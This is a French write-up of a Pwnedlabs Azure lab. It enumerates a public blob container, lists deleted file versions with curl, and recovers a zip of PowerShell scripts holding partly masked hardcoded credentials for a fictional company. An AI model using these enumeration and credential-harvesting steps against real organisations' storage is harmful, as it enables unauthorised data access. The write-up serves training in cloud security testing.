N’ayant jamais fait d’Azure dans un contexte offsec, il est possible qu’il y ait des erreurs dans ce writeup, n’hésitez pas à me contacter pour les remonter :)

Aucun mot de passe ni flag ne sera publié dans ce writeup

Scénario du challenge :

L’entreprise “Mega Big Tech” utilise une architecture cloud hybride avec un domaine Active Directory sur site et Azure. En raison de son importance dans la tech, elle craint des cyberattaques et demande une évaluation de la sécurité de son infrastructure, incluant ses services cloud. Une URL trouvée dans une documentation publique doit être analysée.

Globalement, le but ici est de récupérer des informations confidentielles stockées sur un blob Azure.

🔍 Enumération

Pwnedlabs nous fourni une URL : “http://dev.megabigtech.com/$web/index.html"

website

En regardant les différentes ressources récupérées par l’application web, on remarque que l’application utilise un blob azure pour stocker des ressources (images, fichier javascript, etc…).

Pour rappel voici la liste des services de stockage Azure avec les URLs associés.

Storage serviceEndpoint
Blob Storagehttps://“storage-account”.blob.core.windows.net
Data Lake Storagehttps://“storage-account”.dfs.core.windows.net
Static website (Blob Storage)https://“storage-account”.web.core.windows.net
Azure Fileshttps://“storage-account”.file.core.windows.net
Queue Storagehttps://“storage-account”.queue.core.windows.net
Table Storagehttps://“storage-account”.table.core.windows.net

En lisant plusieurs documentations, je comprends que l’URL est donc sous cette forme : https://mbtwebsite.blob.core.windows.net/$web/<fichiers>

  • Nom du compte de stockage Azure : mbtwebsite
  • Le nom du conteneur qui héberge le site web : $web

Avec le paramètre : ?comp=list on peut lister les éléments stocké dans le blob

https://mbtwebsite.blob.core.windows.net/$web/?comp=list

Tips : Avec xmllint pour créer un fichier xml stockang la sortie de la commande curl.

curl 'https://mbtwebsite.blob.core.windows.net/$web/?comp=list' | xmllint --format - > file_list.xml

Tips : Si l’on souhaite récupérer un fichier précis.

curl 'https://mbtwebsite.blob.core.windows.net/$web/<file-name>' -o file-name

Articles explquant comment récupérer des fichiers de différentes versions sur un blob : https://dzone.com/articles/document-versioning-with-azure-blob-storage

todo :

  • Expliquer comment jouer avec les verions des fichiers
  • Expliquer le principe des versions des fichiers dans azure

Regarder les fichiers supprimés :

curl 'https://mbtwebsite.blob.core.windows.net/$web/?restype=container&comp=list&include=versions' -H 'x-ms-version: 2019-12-12' | xmllint --format - > all_version_id.xml

Après avoir identifié un fichier zip, on peux le télécharger :

curl 'https://mbtwebsite.blob.core.windows.net/$web/scripts-transfer.zip?versionid=2024-03-29T20:55:40.8265593Z' -H 'x-ms-version: 2019-12-12' --output scripts-transfer.zip

En l’ouvrant, on constate qu’il contient 2 scripts powershell :

# Install the required modules if not already installed
# Install-Module -Name Az -Force -Scope CurrentUser
# Install-Module -Name MSAL.PS -Force -Scope CurrentUser

# Import the required modules
Import-Module Az
Import-Module MSAL.PS

# Define your Azure AD credentials
$Username = "marcus@megabigtech.com"
$Password = "Th*************" | ConvertTo-SecureString -AsPlainText -Force
$Credential = New-Object System.Management.Automation.PSCredential ($Username, $Password)

# Authenticate to Azure AD using the specified credentials
Connect-AzAccount -Credential $Credential

# Define the Microsoft Graph API URL
$GraphApiUrl = "https://graph.microsoft.com/v1.0/users?$select=displayName,userPrincipalName"

# Retrieve the access token for Microsoft Graph
$AccessToken = (Get-AzAccessToken -ResourceType MSGraph).Token

# Create a headers hashtable with the access token
$headers = @{
    "Authorization" = "Bearer $AccessToken"
    "ContentType"   = "application/json"
}

# Retrieve User Information and Last Sign-In Time using Microsoft Graph via PowerShell
$response = Invoke-RestMethod -Uri $GraphApiUrl -Method Get -Headers $headers

# Output the response (formatted as JSON)
$response | ConvertTo-Json

et

# Define the target domain and OU
$domain = "megabigtech.local"
$ouName = "Review"

# Set the threshold for stale computer accounts (adjust as needed)
$staleDays = 90  # Computers not modified in the last 90 days will be considered stale

# Hardcoded credentials
$securePassword = ConvertTo-SecureString "Me******" -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential ("mar*****", $securePassword)

# Get the current date
$currentDate = Get-Date

# Calculate the date threshold for stale accounts
$thresholdDate = $currentDate.AddDays(-$staleDays)

# Disable and move stale computer accounts to the "Review" OU
Get-ADComputer -Filter {(LastLogonTimeStamp -lt $thresholdDate) -and (Enabled -eq $true)} -SearchBase "DC=$domain" -Properties LastLogonTimeStamp -Credential $credential |
  ForEach-Object {
    $computerName = $_.Name
    $computerDistinguishedName = $_.DistinguishedName

    # Disable the computer account
    Disable-ADAccount -Identity $computerDistinguishedName -Credential $credential

    # Move the computer account to the "Review" OU
    Move-ADObject -Identity $computerDistinguishedName -TargetPath "OU=$ouName,DC=$domain" -Credential $credential
    
    Write-Host "Disabled and moved computer account: $computerName"
  }

Avec les différentes informations de récupérées, nous pouvons nous connecter au portail Azure afin de s’authentifier.